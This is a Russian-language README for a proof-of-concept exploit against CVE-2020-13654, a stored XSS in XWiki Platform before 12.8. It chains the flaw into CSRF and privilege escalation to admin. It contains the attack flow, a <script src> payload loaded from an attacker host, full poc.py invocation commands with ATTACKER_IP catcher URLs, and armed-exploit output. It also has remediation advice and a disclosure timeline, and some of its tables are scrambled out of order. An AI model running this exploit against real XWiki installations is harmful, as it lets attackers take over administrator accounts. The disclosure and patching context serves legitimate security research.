
CVE-2020-13654 — XWiki Platform < 12.8 — Хранимый XSS → CSRF → Захват учётной записи
Найдено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Запись в NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform до версии 12.8 не применяет HTML-кодирование к полям, управляемым пользователем, в редакторе профиля. Подтверждённое в ходе исследования затронутое поле — «Компания» (в разделе Редактировать → Личная информация), но и другие поля профиля используют тот же путь в коде.
При рендеринге страницы профиля сохранённое значение поля выводится в HTML как есть, без вызова $escapetool.xml() или эквивалентного экранирования. Злоумышленник с любой аутентифицированной учётной записью, в том числе только что зарегистрированной самостоятельно, может сохранить произвольный HTML/JavaScript, который постоянно выполняется в браузере каждого посетителя профиля, включая администраторов.
Основная причина в затронутом шаблоне Velocity:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Поле | Значение |
|---|---|
| Продукт | XWiki Platform |
| Затронутые версии | < 12.8 |
| Исправлено в | 12.8 |
| Оценка CVSSv3 |
Эта PoC демонстрирует цепочку повышения привилегий без клика:
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
Не требуется никакого действия администратора, кроме одного посещения страницы.
poc.py — это автономный эксплойт. Он:
Company, сохраняя все остальные значения полей./payload.js) и регистрирует входящие маячки.Когда администратор посещает URL, сохранённый тег <script src="..."> загружает payload.js с сервера злоумышленника. Полезная нагрузка выполняется в контексте аутентифицированного браузера администратора, незаметно добавляет учётную запись злоумышленника в группу XWikiAdminGroup и отправляет маячок с результатом обратно.
pip install -r requirements.txt
С самостоятельной регистрацией (предварительная учётная запись не требуется):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
С существующей учётной записью с низкими привилегиями:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Обновитесь до XWiki Platform ≥ 12.8.
Исправление применяет $escapetool.xml() ко всем управляемым пользователем полям профиля перед их рендерингом, предотвращая внедрение необработанного HTML/JavaScript.
Если немедленное обновление невозможно, ограничьте самостоятельную регистрацию и видимость профилей для доверенных пользователей с помощью управления правами доступа XWiki.
| Дата | Событие |
|---|
Этот репозиторий предоставлен только для образовательных и авторизованных исследовательских целей в области безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Автор не несёт ответственности за неправомерное использование.
| 7.5 (Высокий) |
| CWE | CWE-116 — Неправильное кодирование или экранирование вывода |
| Аргумент | Обязательный | Описание |
|---|
--target | ✅ | Базовый URL XWiki |
--catcher | ✅ | URL, контролируемый злоумышленником (используется для отдачи payload.js и сбора маячков) |
--username | ✅ | Имя пользователя учётной записи злоумышленника |
--password | ✅ | Пароль учётной записи злоумышленника |
--register | ✗ | Автоматически зарегистрировать учётную запись перед эксплуатацией |
--first-name | если --register | Имя при регистрации |
--last-name | если --register | Фамилия при регистрации |
--email | если --register | Электронная почта при регистрации |
| Май 2020 | Уязвимость обнаружена |
| Май 2020 | Сообщено команде безопасности XWiki |
| Июль 2020 | Исправлено в XWiki Platform 12.8 |
| Ноябрь 2020 | CVE-2020-13654 присвоен MITRE |
| 30 дек. 2020 | Публичное раскрытие — nstsec.com |